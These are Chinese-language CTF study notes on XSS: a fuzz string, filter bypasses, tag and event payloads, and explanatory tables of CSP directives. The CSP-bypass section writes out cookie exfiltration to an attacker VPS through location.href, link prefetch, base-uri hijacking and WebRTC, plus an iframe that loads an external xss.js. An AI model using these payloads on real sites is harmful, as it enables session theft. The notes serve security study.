CTF XSS
這一塊接觸的不多,這次先當搬運工,之后慢慢補上自己的東西
滲透流程
參考XSS備忘錄
fuzz
"'<script javascript onload src><a href></a>#$%^
'";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>
繞過
- 標簽之間
先閉合標簽 - JS標簽內
- 空格被過濾:
/**/ - 輸出注釋中:換行符
%0a``%0d
- 空格被過濾:
- 字符串中
閉合引號、寬字節 - 文本屬性中
把所有的payload轉為HTML Markup,其實就是&#加ascii碼 src/href/action/xlink:href/autofocus/content/data等屬性直接使用偽協議繞過<a href=javascript:alert(2)>test</a> <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a> //<script>alert(3)</script> <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> <math><a xlink:href=javascript:alert(1)>1</a></math>- 事件
onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
具體標簽的payload
<a><a href=javascript:alert(2)><a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==
<script><script>alert(1)</script><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script><script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script><script>setTimeout('alert(1)',0)</script>如果輸出是在setTimeout里,我們依然可以直接執行
<button><button/onclick=alert(1) >M</button><form><button formaction=javascript:alert(1)>M<button onfocus=alert(1) autofocus>
<img><img src=x onerror=alert(1)>
<body>``<var>``<div>
通過事件觸發<body onload=alert(1)><body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<iframe>
有時候我們可以通過實體編碼、換行和Tab字符來bypass<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe><iframe SRC="http://0x.lv/xss.swf"></iframe><IFRAME SRC="javascript:alert(1);"></IFRAME><iframe/onload=alert(1)></iframe>
CSP概念及繞過
What is CSP
內容安全策略(英語:Content Security Policy,簡稱CSP)是一種計算機安全標准,旨在防御跨站腳本、點擊劫持等代碼注入攻擊,阻止惡意內容在受信網頁環境中執行
具體標准可以查看官網https://content-security-policy.com/
指令參考
Content-Security-Policy頭值由一個或多個指令(下面定義)組成,多個指令用分號分隔;
| 指令 | 值樣例 | 描述 |
|---|---|---|
default-src |
'self' cdn.example.com |
default-src是用於加載內容(如JavaScript、圖像、CSS、字體、AJAX請求、框架、HTML5媒體)的默認策略 |
script-src |
'self' js.example.com |
定義有效的JavaScript源 |
style-src |
'self' css.example.com |
定義有效的CSS源 |
img-src |
'self' img.example.com |
定義有效的圖片源 |
connect-src |
self |
適用於XMLHttpRequest (AJAX)、WebSocket或EventSource。如果不允許,瀏覽器將模擬400 HTTP狀態碼 |
font-src |
font.example.com |
定義有效的字體源 |
object-src |
self |
定義有效的插件源,例如:<object>、<embed>或者<applet> |
media-src |
media.example.com |
定義有效的音頻和視頻源,例如HTML5<audio>,<video>元素 |
frame-src |
self |
定義加載frame的有效源。在CSP級別2中frame-src被棄用,取而代之的是child-src指令。CSP級別3,有未棄用的frame-src,如果不存在,它將繼續遵從child-src。 |
sandbox |
allow-forms allow-scripts |
為請求的資源啟用類似於iframe``sandbox屬性的沙箱。沙箱應用同源策略,防止彈出窗口、插件和腳本執行被阻塞...(此處省略) |
plugin-types |
application/pdf |
設置有效的MIME類型 |
navigate-to |
example.com |
限制文檔可以通過任何方式導航到的url。例如,當單擊鏈接時,將提交表單或window.location被調用。如果form-action存在,那么對於表單提交,該指令將被忽略 |
來源清單參考
| 源值 | 示例 | 描述 |
|---|---|---|
* |
img-src * |
通配符,允許除data:``blob:``filesystem:之外的任何URL |
'none' |
object-src 'none' |
阻止從任何源加載資源 |
'self' |
script-src 'self' |
允許從同一個源(相同的方案、主機和端口)加載資源 |
data: |
img-src 'self' data: |
允許通過data協議加載資源(如Base64編碼的圖像) |
example.com |
img-src example.com |
允許從指定源加載資源 |
*.example.com |
img-src *.example.com |
允許從example.cam的子域加載資源 |
https: |
img-src https: |
只允許通過HTTPS從任何源加載資源 |
'unsafe-inline' |
script-src 'unsafe-inline' |
允許使用內聯源元素,如樣式屬性、onclick或腳本標記體(取決於它所應用的源的上下文)和javascript: uri |
'unsafe-eval' |
script-src 'unsafe-eval' |
允許不安全的動態代碼執行,如JavaScripteval() |
'sha256-' |
script-src 'sha256-xyz...' |
允許內聯腳本或CSS執行,如果它的哈希值與標頭中指定的哈希值匹配。目前支持SHA256, SHA384或SHA512。CSP級別2 |
'unsafe-hashes' |
script-src 'unsafe-hashes' 'sha256-abc...' |
允許在事件處理程序中啟用腳本(如onclick)。不適用於javascript:或內聯<script> CSP級別3 |
'nonce-' |
script-src 'nonce-r@nd0m' |
允許內聯腳本或CSS執行,如果腳本(例如:<script nonce="r@nd0m">)標簽包含一個nonce屬性匹配在CSP頭部指定的nonce |
'strict-dynamic' |
script-src 'strict-dynamic' |
允許腳本通過非“解析器插入”的script元素加載附加腳本(例如document.createElement('script');是允許的)。 |
以下為上面指令可以取的值,多個值可以用空格間隔,若為'none'則只能有一個值。
CSP繞過
location.href
當我們已經能夠執行JS腳本的時候,但是由於CSP的設置,我們的cookie無法帶外傳輸,就可以采用此方法,將cookie打到我們的vps上
location.href = "vps_ip:xxxx?"+document.cookie
預解析
一般來說,self代表只接受符合同源策略的url,這樣一來,大部分的xss和crsf都會失效。但link標簽除外。我們可以通過link標簽繞過CSP
<link rel="prefetch" href="xxxxxxx"> (經測試,火狐、chrome均失效)
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
DNS預解析:
<link rel="dns-prefetch" href="xxxxxxxx"> (經測試,仍然可以繞過Chrome,火狐最新版無效)
這樣,我們可以通過預加載,將數據添加到link請求的鏈接中,或者dns預解析的子域名中,從DNS記錄中拿到數據。
iframe
當一個同源站點,同時存在兩個頁面,其中一個有CSP保護的A頁面,另一個沒有CSP保護B頁面,那么如果B頁面存在XSS漏洞,我們可以直接在B頁面新建iframe用javascript直接操作A頁面的dom,可以說A頁面的CSP防護完全失效
<script type="text/javascript">
document.write('');
// window.open('https://blog.szfszf.top');
f=document.createElement("iframe");
f.id="pwn";
f.src="./csp2.php";
f.onload=()=>{
x=document.createElement('script');
x.src='https://blog.szfszf.top/xss.js';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
</script>
用CDN來繞過
blackhat2017有篇ppt總結了可以被用來繞過CSP的一些JS庫
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
Base-uri繞過
當服務器CSP script-src采用了nonce時,如果只設置了default-src沒有額外設置base-uri,就可以使用標簽使當前頁面上下文為自己的vps,如果頁面中的合法script標簽采用了相對路徑,那么最終加載的js就是針對base標簽中指定url的相對路徑
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>
WebRTC 繞過 connect-src
如果設置了connect-src這意味着即使可以執行內聯js,我們仍然無法向外界通過AJAX或者WebSocket帶出數據。但是此時,我們可以使用WebRTC繞過。
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
